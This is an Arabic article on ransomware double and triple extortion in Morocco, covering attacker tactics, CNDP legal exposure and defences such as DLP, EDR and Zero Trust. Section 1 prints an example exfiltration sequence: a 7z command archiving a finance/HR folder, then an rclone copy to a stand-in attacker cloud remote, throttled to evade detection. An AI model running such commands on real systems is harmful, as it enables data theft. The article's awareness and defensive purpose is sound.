كابوس العصر: تطور برمجيات وفيروسات الفدية إلى استراتيجيات "الابتزاز المُزدوج والمُثلّث" المرعبة في شمال إفريقيا

بالعودة فقط إلى خمس سنوات مضت، كان يُنظر إلى حوادث الاختراق بهجمات فايروس الفدية (Ransomware) على أنها مجرد مشكلة بحتة تختص بـ "استمرارية الأعمال وتوقف الخدمات التقنية" (Business Continuity). حيث كان القراصنة يتسللون لشبكة الشركة، ويقومون فوراً بتشفير جميع الخوادم الحيوية، ومن ثم ترك رسالة المطالبة بفدية مالية مقابل تقديم مفتاح وحلول فك التشفير. وكرد وتكتيك دفاعي، قامت الشركات الكبرى والهيئات والمؤسسات الحكومية والخاصة بالمغرب بتوجيه وتسخير ميزانياتها الدفاعية الاستثمارية بشكل أساسي مكثف لتطوير تقنيات (النسخ الاحتياطي غير القابل للتعديل - Immutable Backups) وتجهيز وتدريب بروتوكولات التعافي السريع والانتعاش من الكوارث (Disaster Recovery). لقد كانت المعادلة والقاعدة الوقائية بسيطة للغاية: إذا كنت تمتلك نسخاً احتياطية صحية ومعزولة جغرافياً، فأنت بأمان ولن تكون مجبراً لتدفع فلساً واحداً للمبتزين!

بحلول عام 2026، طفر وتحور النظام البيئي الإجرامي لبرمجيات الفدية وتطورت عقول المخترقين بشكل جذري مريع. حيث أدركت واستوعبت عصابات وقراصنة الإنترنت، والكيانات والتحالفات الإجرامية المنظمة ذات الدوافع والأطماع المالية الضخمة، والمافيات التقنية مثل عصابات (LockBit المُرعبة، ومجموعات BlackBasta التدميرية، وكيانات ALPHV) حقيقة واضحة، وهي أن المؤسسات والشركات المُخترقة أصبحت أكثر ذكاءً وأصبحت تقوم باحتواء الأزمة وفقط باستعادة كافة بياناتها المجمدة والمُشفرة وتسترجع خدماتها بكل بساطة بالاعتماد التام على "النسخ الاحتياطية" بدلاً من الرضوخ والدفع لهم. فما هو الحل التدميري البديل لتجاوز هذه العقبة الذي ابتكره وتوصل إليه هؤلاء القراصنة؟ الجواب هو: تكتيك الابتزاز المزدوج القاتل (Double Extortion).

1. ميكانيكا، آليات وعمل وهندسة تقنية الابتزاز المزدوج

اليوم، وقبل وقبل أن تباشر مجموعات، فِرق وبرمجيات الفدية المتقدمة بنشر فيروسات التشفير وإغلاق السيرفرات فعلياً (عملية التشفير المُزعجة والمدمرة فيزيائياً)، فإنهم يشرعون في نشر وتشغيل وهندسة إدراج أدوات مخفية وصامتة جدا لـ (استخراج واستنزاف، وتصدير وسحب البيانات - Exfiltration Tools). فهم يقضون بالفعل أياماً، بل وأحياناً أسابيع ومئات الساعات الممتدة من العمل المتواصل بشكل هادئ وسري ومموه يتجولون فيه ويستكشفون خبايا وجواهر خوادم وأرشيفات الشبكة وسيرفرات الملفات، وتطبيقات الاستضافات التشاركية كمجموعات הـ (SharePoint)، وصولاً وأخيراً إلى جذور قواعد البيانات للمنظمة.

خلال فترة التسلل، يستهدف الهاكر بتركيز وبراعة العثور على أثمن وأخطر وتحديد استخلاص البيانات السرية، التي تمثل دمار شامل لسمعة ولنطاق عمل وتواجد وأسهم الشركة قدر الإمكان:

• أرشيف وثائق وبطاقات الهوية الوطنية (CIN) السارية، وجوازات سفر زبائن وعملاء ومواطنين غير المشفرة بالمؤسسات والخدمات.
• قوائم ملفات وسجلات الإدارة لرواتب موظفين القطاعات الإدارية، وعقود المستشارين وملفات أطباء والرواتب وتفاصيل تعويضات كبار التنفيذيين المدراء وإدارة الأموال وقواعد إدارة الموارد البشرية الحساسة.
• ملفات ومراسلات صفقات الإندماج والاستحواذ السرية.
• كود وشيفرات ومكونات البرامج والمصادر الأصلية المغلقة لتطبيقات المؤسسات، واختراعها وبراءات والملكية الفكرية وأكواد المشاريع القومية الحيوية للشركات و مؤسسات البلاد.

ثم وبخطوات واثقة، يقوم المهاجمون المحترفون والماكرون، بضغط وتجزئة و تحزيم كل هذه الكنوز والمعلومات الهائلة والملفات بهدوء شديد وتناغم قاتل دون إشعال أي تنبيهات أو تركيز الانتباه. مُعتمدين في هذه المهمة الخبيثة على استغلال وإساءة استخدام والتوظيف لأدوات برامج أصلية ومشروعة تخص نظام הـ IT ومُدمجة أساسا داخل النظام نفسه (تكتيك يُعرف بـ Living off the Land)، مثل استخدام خدمات النقل كـ Rclone أو حزم سكربتات وكتابات أكواد خاصة، متمكنين بذلك، من تجاوز نظام الجدار الناري بنجاح ومن تم، يقومون وعلى فترات وبشكل سريع أو بطيء بتحفيز وتحميل وضخ تدفق عشرات ومئات التيرابايتات (Terabytes) المتسربة والمهربة من قلب المؤسسة إلى مستودعات وخوادم إنترنت سحابية خارجية (كـ Mega السحابي، دروب بوكس، أو خوادم سرية محصنة بالأنفاق يديرها القراصنة بكل سهولة).

# مثال تطبيقي وتقني مبسط لشرح ميكانيكية وخطوات مرحلة وأوامر الاستنزاف واستخراج البيانات (الصامت) الذي يمر من أمام الـ Antivirus ولا يكتشفه.
# تستغل وتصنع عصابات والجهات المهاجمة الفاعلة فكرة استخدام وتسخير وتطويع نفس الأدوات الإدارية الخاصة بمهندسي النظام ومسؤولي الـ (IT) المألوفة والقانونية داخل المؤسسة،
# وذلك للاندماج والمراوغة وسط وتخفي حركة مرور تيار شبكة الإنترنت والملفات العادية لتجنب لفت انتباه مضادات الحماية وجدران الدفاعات!

# الخطوة 1: الأمر الخفي لضغط كافة ملفات وحقوق قرص وملفات وسجلات إدارة قسم بيانات ومدير المالية وإدارة وأرقام الحسابات والموظفين (الموارد البشرية)
7z a -tzip -p"Hacked2026!" -mhe=on C:\Windows\Temp\archive.zip D:\Finance_HR_Data_Secret\

# الخطوة 2: الدس والتسريب واستخراج البيانات بهدوء ومكر وباستخدام أداة النقل (Rclone) الموثوقة (وهنا يتلاعب ببرمجتها لربط وتوجيه الاتصال والتحميل سراً نحو سيرفرات التخزين وخوادم السحابة التابعة للمهاجم)
# يتم تحديد وتوظيف وضبط وتحديد قيمة أمر قياس وتحديد سرعة النقل باستخدام (--bwlimit) للإبقاء والمحافظة على النقل عند وتيرة بطيئة ومحدودة لتفادي واستباق الهروب بنجاح من إطلاق إشعارات صافرات و تنبيهات أجهزة الرصد وتحليل التدفق المروري وإحداث قفزات (Spikes) في أجهزة ورادارات الجدار الناري للضحية.
rclone copy C:\Windows\Temp\archive.zip HackerRemoteCloud:Moroccan_Target_Leak/ --bwlimit 5M --quiet

وإكمالاً للكارثة والمُخطط... متى وعندما، وفقط بعد أن يتأكد المجرمون بدقة أن هذه الكنوز والبيانات والمعلومات الحساسة قد هُربت واُسُتقرت وصارت آمنة و نُسخت تماما وتمت أرشفتها خارج البلاد بأمان تام عندهم وفي قبضتهم عبر البحار، حينها فقط! يقومون بإسدال وإنزال وتشغيل و تفجير مقذوف الفيروس وفك شيفرة ونشر فيروس الفدية (Ransomware) في الشبكة ليقفل و يُغلق ويشفر خوادم السيرفرات والأنظمة الفعلية للمؤسسة. وعندما تتواصل وتتحدث إدارة المؤسسة أو الشركة الضحية لرفض الدفع و مساومة المهاجمين بإرسالها بريداً أو رسالة وتعلن بثقة، "نحن نمتلك نسخاً احتياطية بالشركة ونرفضكم ولن ندفع! لقد أخفقتم!"، فإن الرد المريع والحاسم والطلقة المدمرة تأتي من الهاكر المهاجم برسالة قصيرة: "تهانينا الصادقة لكم ولنجاح فِرقكم التقنية على مجهودات بناء النسخ الاحتياطية! ولا مشكلة إطلاقاً، بإمكانكم استعادتها الآن... ولكن، إذا لم تقوموا بإرسال وتحويل مبلغ 50 مليون درهم مغربي وعملية تحويل سريع بالعملة الرقمية والمُشفرة (Monero) خلال مدة مُهلة لا تتعدى הـ 72 ساعة فقط القادمة، فإننا سنقوم بضغطة زر واحدة وعبر موقعنا، بنشر وتسريب، وبث و إشاعة وعرض أكثر من الـ 30 غيغابايت (30GB) من قواعد أرشيف ملفات وصور وتصوير وثائق زبائنكم والمعلومات الخاصة، وقواعد معلومات عملائكم الشخصية وعموم المواطنين، علانية وعلى موقع التسريبات وفضح الأسرار والفضائح التابع لنا بالإنترنت والشبكة المظلمة (Dark Web Leak Site) ليراها ويتداولها وينشرها المنافسون وجميع عامة وخاصة الصحفيين والجميع بالعالم!" وهذا هو الانهيار التام.

2. الصدمة والموجة الثلاثية المرعبة (الابتزاز المُثلث Triple Extortion)

ويتدهور المشهد والموقف التهديدي الوبائي ويتعقد وينحدر بشكل أسوأ إلى ابتكار فئات المخططات المروعة التي تدعى و تندرج تحت أنماط الابتزاز الثلاثي القاتلة (Triple Extortion). فإذا لم تنجح بطاقة وحيلة و تهديدات تسريب بيانات الموظفين والعملاء لإجبار، أو فرض ضغط هائل كافٍ على إدارة الشركة للجلوس على طاولة تفاوض، أو إرضاخ الشركة لدفع ملايين العمولات وتوفير ممرات وأرصدة الفدية للمهاجم، فإن نقابات وعصابات فيروسات الفدية وتكتلات الكارتيلات تُصعد وتقوم بتضخيم حربها وتنفذ أقصى تقنيات هجماتها وأساليبها النفسية العنيفة والشرسة للغاية:

1. التشفير العنيف لشل العمل والعمليات: تشفير وخنق وتجميد البنية وتحطيم العمليات الإدارية ووقف دوران آلة الشركة التجارية والميدانية وحجب كل الأنظمة الأساسية لشل الحركة الأساسية.
2. الشفط واستخراج البيانات والابتزاز بالتسريب والتهرب: تشكيل رعب وخلق شبح التهديد القاتل بخطر المُسائلة، ومواجهة جحيم المُلاحقة و الفضائح والغرامات من التدمير والخراب التنظيمي والسقوط بالانهيارات تحت طائلة المقاضاة والقوانين القضائية (كخرق قوانين اللجنة الوطنية وحماية البيانات الشخصية CNDP المغربية و القوانين الدولية RGPD الأوروبي)، وإبادة سمعة المؤسسة، والتأثير ودمار ولاء والثقة بعلامتها التجارية للعملاء، وتدمير السمعة كلياً بالسوق.
3. الاستهداف والتنمر والتحرش النشط والمباشر (Harass): في هذه المرحلة الأكثر بشاعة والأحدث ابتكاراً، تتعدى العصابة الخطوط وتبدأ بنبش، وفحص وتصفح ملف سجلات ومعطيات وقواعد البيانات والمعلومات المسروقة، بقصد واستهداف حثيث للعثور و جمع وفرز، أرقام وتفاصيل وقائمة حسابات وتحديد قوائم الهواتف الخلوية وتفريغ هواتف وصفحات الإيميل الشخصية الخاصة بالمدراء التنفيذيين (C-suite executives)، بل و أرقام وهواتف أكبر الزبائن و أعظم العملاء والمستثمرين، بل وحتى في (חالات اختراقات للمرافق وقطاع المستشفيات والرعاية الصحية قد تصل الكارثة لاستخراج وسرقة أرقام وملفات المرضى والمراجعين!). ويقوم القراصنة بمفاجآتهم بمبادرة وتوجيه و إرسال وإجراء بالاتصال بهم شخصيا والتواصل الفعلي معهم واحداً تلو الأخر عبر الرسائل! لإخبارهم وصدمهم وبشكل مباشر شخصي، واستعدائهم وتأليبهم؛ بمشاركتهم بأن جميع معلوماتهم وبيناتهم وسجلات أمراضهم الخاصة أو حساباتهم البنكية قد أصبحت في حوزة الهاكر وتحت خط النار، وأن فضحهم محتوم وصورهم قريباً ستنشر... والسبب الوحيد؟ لأن إدارات و شركة المؤسسة المُستهدفة والمُخترقة بكل عناد "ترفض دفع وتأمين حماية فدية زبائنها وتتعنت في حُمايتهم!". وكرد فعل مضاعف، ومساهمة بمزيد من الخسائر والإغلاق وتفاقم الموقف، قد ينفذون متزامناً عواصف وموجات وشن حملة من الهجمات التخريبية المتعمدة والمُتزامنة الموزعة لحجب وتعطيل وحرمان الخدمة الخبيثة وإسقاط خوادم الموقع (DDoS attacks)،، على واجهة وأنظمة الخدمات ومواقع التواجد العامة بالمؤسسة لزيادة، وتعظيم وإشعال نيران أكبر قدر ممكن لتعظيم الفوضى والاستنزاف الإعلامي والهجومي والصحفي والمحاسبي والذعر المالي للمنظمة، ما يدفع الإدارات للانهيار التام و التسليم والدفع.

3. الموقف الإلزامي والواقع القانوني والتنظيمي المعقد والمُدمر في المملكة المغربية

لا تتوقف كارثة وخيبة الاستخراج وسحب وتسريب المعلومات الرقمية بمجرد الخسارة اللحظية للتخزين، بل هي بالأساس فتيل واشعال لكوابيس مُرعبة حقيقية من التقييم، وتفاقم الأزمات القاتلة للمُساءلة وتجاوز وخرق التوافق والتنظيم لقوانين الانضباط التشريعية والامتثال المطلق لمدونات الخصوصية. فعلى سبيل و بموجب قواعد التشريع وسلطة وصلاحيات وبنود قوانين اللجنة (اللجنة الوطنية لمراقبة حماية المعطيات ذات الطابع الشخصي - CNDP) المغربية الصارمة والمتعنتة للحقوق، تواجه كل وأي وتتعرض الشركات والهيئات الحكومية لمخاطر تحمل، ولدفع وتكبد وتسويات كلفة لغرامات مادية وعقابية رادعة و هائلة وكبيرة جداً، وسلسلة تحقيق وتدقيق وتدقيق وخضوع كامل لعدسات وحملة رقابة وضغط وتنقيب واهتمام ومقصلة جماهيرية واسعة ومدمرة وتسديد فاتورة رقابة ومساءَلة وعرض إعلامي صحفي علني شامل ومؤثر سلبيا، و ذلك وتحديداً في حال وحينما وفي لحظة تسريب وضياع وانتهاك وفقدان وانكشاف وثائق السجلات، وما يسمى قانونيا بالـ (معلومات تحديد الهوية الشخصية - PII) التابعة لملفات وعقود وسجلات عموم المواطنين المغاربة للملأ. فإن كسب وحيازة وحصد مكانة وبناء وسام وركيزة الثقة المؤسساتية وثقة العلامة التجارية وموثوقية وحُرمة وسرية الأمان لزبون والمراجع بالشركة الوطنية تعتبر إحدى أكبر المعايير المُحصنة للمنافسة، وبمجرد أن تُخدش بالصدمة أو تُفقد، أو يتم العبث بها وتتبخر بساعة وتنهار تماما بفضل وبسبب واقعة وحشية لحدوث ونشر (تسريب، وفضيحة أمنية واختراق و تسرب علني فاضح للجمهور) بسقوطها وإعلانها بخطأ أمني؛ فإن عملية الترميم، ورأب الصدع وترقيع وإصلاح الجراح لاستعادة محاولة و رجوع لمربع استرداد بناء و تأهيل مجد هذه والموثوقية، تتطلب وتحتاج وتكلف لثمن فادح ولا يمكن إنكاره وتأخذ وتقضي لتضيع لعقود وشهور وأموال طويلة جدا من الإنفاق المستمر في الميزانيات الترويجية والتعويضات لإعادة بنائها وترميمها ونسيان الأخطاء من الذاكرة الحية.

4. خيارات وحلول هندسية واستراتيجية أساليب الدفاع المتقدم

في حرب البقاء و استماتة المُواجهة لكسر وتقزيم، واجتثاث وإخضاع وردع مخاطر وكوارث محاولات مجابهة فيروسات "الابتزاز المزدوج والمُثلّث"، وأمراء السايبر المظلم، لم يعد مجدياً انتظار وحماية و توفير و التركيز على إيقاف مجرد تشفير وعلاج الحجب وإغلاق البيانات كأصل المشكلة. المعركة تغيرت؛ وعليك أن تقوم، وتجب، وبإلزام فوري، وحازم أن تمنع وتحظر، وتسد طرق وتسحق وتقطع كل وريد وتدفق وتوقف عمليات (الاستخراج وسحب و التسريب - Exfiltration) من عقر الدار، وليس مجرد الإكتفاء بسذاجة لصد ومكافحة عملية التشفير النهائية للملفات، فهذه مجرد عوارض أخيرة للمرض الأساسي والمشكلة الأكبر بكثير.

• برامج و آليات وهندسة منع تسرّب وفقدان البيانات الشامل (DLP - Data Loss Prevention): يتوجب ويُحتم عليك كإدارة، المراقبة الدقيقة وإخضاع الشبكات بالأنظمة القهرية و فحص و كبح وخنق وحظر وإغلاق كلي لكافة وسائر التدفقات والمنابع لمجرى و تيارات شبكة ومنصات حركة المرور الخارجية (الـ Outbound) الضخمة والمبالغ فيها والمجهولة المسار بشكل لا يقبل المسامحة، وبشكل ويجب وتسليط ضغط وتدقيق وتخصيص المراقبة والتنفيذ وتحديدا بتركيز خاص لتلك التدفقات التي تظهر من والي الخوادم والـ Servers المركزية المعزولة... والتي بحكم العقل أو تصميم مكانها الأصلي بطبيعتها وبيئتها بالبنية الداخلية لا تمتلك عذراً و ليس من مقتضيات عملها، أو يجب أن لا يكون لها إطلاقاً أي ولاء ولا سبب للقيام بعمليات تصفح ونشاطات واتصال و تصفح الإنترنت والملاحة العامة.
• نظام واعتماد الذكاء للتحليلات السلوكية المتطورة (Behavioral Analytics) والمُنبثقة: لا مفر ولا استغناء أبدا عن، وجوبية توظيف، وتزويد وكلاء وكالات تكنولوجيا وأنظمة حامية الاستجابة والطرفية للأجهزة (EDRs) الحديثة وبرمجتها لتطوير كبح، وتعليمها إعلان، ورصد، وترميز وتمييز حركات الارتياب وإطلاق الأعلام الحمراء (Flag) وإطلاق التنبيه والإنذار المُبكر الصارخ والفوري؛ وذلك في لحظة ومجرد ومناسبة الارتياب واستشعار أي تسجيل ببدء وظهور وظائف استخدام، وبدء استهلاك و ونشاط واستغلال لحركات إطلاق مفاجئ، و طارئ و غير مُصرح وغير مُبلغ عنه ومجهول للاستعانة بأي و تشغيل (لأدوات و برامج أرشفة وضغط البيانات وتحزيم الملفات التقليدية الشهيرة والروتنية كـ WinRAR، أو 7zip، وغيرها) عندما وأخص هنا يتم إطلاق وتفعيل هذا السلوك الغريب على يد مستخدم غير آدمي أو بمسار ومن خلال، وعن طريق حسابات مسؤولة ومغلقة وبرمجة النظام الوهمية كـ (حسابات الخدمات الآلية الـ Service accounts).
• منهجية وعقيدة وبنية ومُصطلح انعدام الثقة (Zero Trust Architecture): الاعتماد الهيكلي وتطويق وحبس الحركة، وفكك الشبكات واحرص على فصل وتحجيم وتقييد كامل ومُعقد وخنق كُلي لفرص واحتمالية عمليات التوسع أو السماح بالحركة الأفقية والتنقل الجانبي الداخلي المتخفي (Lateral movement)... لضمان والحرص والتأكد بشكل يائس بأنه واثقا، ومحاطا بأنه؛ حتى وإن، وتجنبا لو وأن في حال نجح وخترق تمكن ونفد مهاجم و هاكرز في التسلل، والانقضاض والتمركز والسيطرة والاستيلاء و(اختراق وتلغيم لابتوب وحاسوب شخصي لموظف تسويق بمكاتب الدور الأول)، فإن حقل و قيود الشبكة المعمارية سيجعله و ستبقيه حبيسا أعمى، ومشلولا بالكامل وتمنعه بقوه وتعجزه نهائياً ويستحيل عليه حتى قراءة، ومسح مجرد العثور، أو الاستدلال و الوصول لملف أو استنطاق و(تصفح خادم وبنك وقواعد ومقر إدارة الموارد البشرية الـ HR Database الكبرى).

الخلاصة ورسالة الفصل الكلمة الأخيرة الفاصلة والمحورية

النسخ، و الاحتجاج والتبجح والاكتفاء وتجهيز وتنزيل وتكوين واسترجاع حلول (النسخ الاحتياطية الـ Backups) لم تعد ولم تبق اليوم تشكل درعاً وستاراً من، ولا أمانا للحماية، أو تمثل أي حلاً كحاجز ودروع مناعة آمنة وكافية للتصدي واجتياز كارثة وهجوم الهاكرز من صدمات ونكبات الفدية المروعة. برمجيات الفدية (Ransomware) الحديثة قد خلعت قناع التشفير و كشفت و أصبحت اليوم وبكل وضوح تام وتمثل حقيقة وعقيدة تتجلى كـ"اختراق وتسلل وعملية شرسة وقح لانتهاك استراتيجي و خطير وسحب وفقدان، وتسريب واستخراج واختطاف متعمد للبيانات الحساسة" مختبئاً ومتنكراً في ثوب وغطاء ومظهر أزمة "تشفير وتعطيل تقني لانقطاع للعمل وتوقف مستعرض عن الاستمرارية Continuity Crisis". لقد غدا واجب على قيادات المؤسسات الحديثة الذكية الاستيقاظ والتضحية، والتوجه والمُسارعة بمرونة وقسوة نحو الانعطاف والتحول الحتمي (التحول المحوري Pivot) والخروج كُلياً والانسحاب بمراجعة الاعتماد والارتكاز الأبله والتخلي بشكل واسع وفاضح وأكثر من محض الاهتمام، والانتقال من مرحلة تركيز الإنفاق وشرءا الأدوات واعتماد ميزانية و تبني أنظمة الدفاع، أو توجيه الإنفاق الدفاعي البحت والذي يركز، ويدور بالكامل و حصرا في فلك محاور "مجرد حلول للأساليب و استراتيجية، و تجميع لأدوات وتقنيات الاسترداد والتعافي والاسترجاع الميتة Recovery tools"... والتوجه و ضخ وبذل وضخ استثمارات هائلة وجادة جداً واعتماد وتبني وصناعة توجهات والارتهان بشكل مُكثف، وحصري، وثقيل في قطاعات وحلول وأنظمة "سبل ومنظومات الوقاية، ومنصات كبح التهديد، والتنبؤ وتقنيات الاكتشاف الدقيق لصد و الكشف والمنع المبكر Prevention and detection"... لمختلف و لكل ما من شأنه ومكافحة وفشل ومهاجمة و قطع الطريق لشل وتطويق وإيقاف جميع حركات سرقات وتسلل و زحف استخراج ونهب، ونزيف وتدفق وتسريب البيانات والمعطيات السرية و الصامت منها والخفي تماماً وبشكل صارم ومحكم، وكشفها والقبض عليها واعتراضها وتدميرها، وقبل مجرد و بدء انطلاق وأياماً وساعات... قبل أن تبدأ وتنطلق عجلة وحتى مجرد الدخول لمرحلة أو مرحلة وإيقاظ شعلة و تنفيذ بداية هجوم آلات و خوارزمية وبرامج و مفاتيح وشرارة عمليات وساعة بدء إطلاق مرحلة التشفير!